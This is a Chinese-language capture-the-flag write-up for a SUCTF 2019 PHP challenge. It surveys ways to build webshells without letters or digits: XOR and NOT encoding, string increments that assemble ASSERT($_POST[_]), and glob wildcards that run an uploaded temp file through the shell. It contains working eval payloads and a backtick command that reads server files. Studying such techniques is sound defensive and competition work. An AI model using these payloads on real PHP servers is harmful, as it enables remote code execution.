PHP限制字符构造webshell

前言

在整理2019SUCTF的赛题时,其中有一题代码审计,限制字符、字符串长度,让你构造一个webshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

自己太菜,根本想不到骚操作,一顿搜索、查看题解之后有了此篇总结。

webshell的构造

抛开题目,我们先来想如果没有字母数字,我们该怎么构造webshell
单纯无字母数字构造webshell,不考虑长度的话,思路有两个

1. 利用位运算
2. 利用自增运算符

以如下代码为例

1
2
3
4
5
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
?>

思路一

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。我们可以利用两个非字母非数字的进行异或操作来得到a-z0-8这些字符。
异或运算中
a^b=c
c^b=a
所以我们先将phpinfo分别与 ` 进行异或操作
得到的结果(url编码表示)为

1
2
3
4
5
6
7
p ---- %10
h ---- %08
p ---- %10
i ---- %09
n ---- %0e
f ---- %06
o ---- %0f

构造payload?shell=('%10%08%10%09%0e%06%0f'^'%60%60%60%60%60%60%60')();得到shell

p神的payload?shell=(~%8F%97%8F%96%91%99%90)();

PHP7前是不允许用($a)();这样的方法来执行动态函数的,只有PHP7之后的版本中增加了对此的支持。

所以我们需要改变一下函数调用(PHP5环境)

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。assert函数类似于eval,上传的字符串会被当做PHP代码执行。
因此利用上面的方法我可以构造payload

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
1
?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

同时向服务器POST命令
test

思路二(Copy P神)

先看文档: http://php.net/manual/zh/language.operators.increment.php
test
也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
test
再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
[email protected]"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

执行结果:
test

陆老板的思路

在思路二中我们已经获取到了字母A,接下来我们尝试单纯用字母a,没有其他字母和数字能够构造webshell。
先来看PHP的特性(php -a命令调出控制台)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
php > var_dump(a);

Warning: Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in php shell code on line 1
string(1) "a"
php > var_dump(!a);

Warning: Use of undefined constant a - assumed 'a' (this will throw an Error in a future version of PHP) in php shell code on line 1
bool(false)
php > var_dump(@!a);
bool(false)
php > var_dump(@!!a);
bool(true)
php > var_dump(@[email protected]!!a);
int(2)

我们可以看到将字符a逻辑反(!)后,php就自动处理为bool类型
而对bool类型计算时,bool类型又会转为int类型
因此我们可以利用这一特性和chr函数来构造phpinfo
payload如下(payload需要url编码)

1
(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();

WP

回到最初的题目,构造shell类似?_=$_POST['x']
其中后端过滤了一些字符,因此需要处理一下
_GET取反,并选择一个为被过滤的字符用来传参

%ff^ = ~

1
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();

查看phpinfo只要&%ff=phpinfo
这里为什么不适用POST,就是因为它对长度进行了限制,而恰巧GET是最大限度

补充

多次异或

有些题目不是对长度进行限制,而是对字符种类进行限制,这样字符种类过多的payload就不适用。我们可以通过多次位(异或)操作a^b^c来减小字符种类。

php5+shell构造webshell

由于php5不支持($a)()特性,所以在过滤掉$字符时,我们需要另找方法构造。

构造文件(COPY P神)

p神提供了一个思路:利用shell打破禁锢
首先了解一下Linux shell的两个知识点

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。
. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  1. *可以代替0个及以上任意字符
  2. ?可以代表1个任意字符
    那么,/tmp/phpXXXXXX就可以表示为/*/?????????或/???/?????????。

但我们尝试执行. /???/?????????,却得到如下错误:
test
这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:
test
可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

对于通配符,可能大家知道的都只有*和?。但实际上,阅读Linux的文档http://man7.org/linux/man-pages/man7/glob.7.html ,可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts:
test
排除了第4个字符是-的文件,同样我们可以排除包含.的文件:
test
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,我发现另一个有趣的用法:
test
就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:
test
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@与[之间:
test
显然这一招是管用的。

生成webshell

为保持长度小于35且不存在$,则将$带入后面一个表达式,同时使用*来匹配最后文件

1
?><?=`/???/???%20/???/???/????/*`?>

其含义如下

1
<?php echo `/bin/cat /var/www/html/index.php`?>

也可以通过.操作来使用bash运行此文件

1
?><?=`.%20/???/???/????/*`?>

参考资料

P神的一些不包含数字和字母的webshell
P神的无字母数字webshell之提高篇
陆老板的一道题回顾php异或webshell
SUCTF2019WP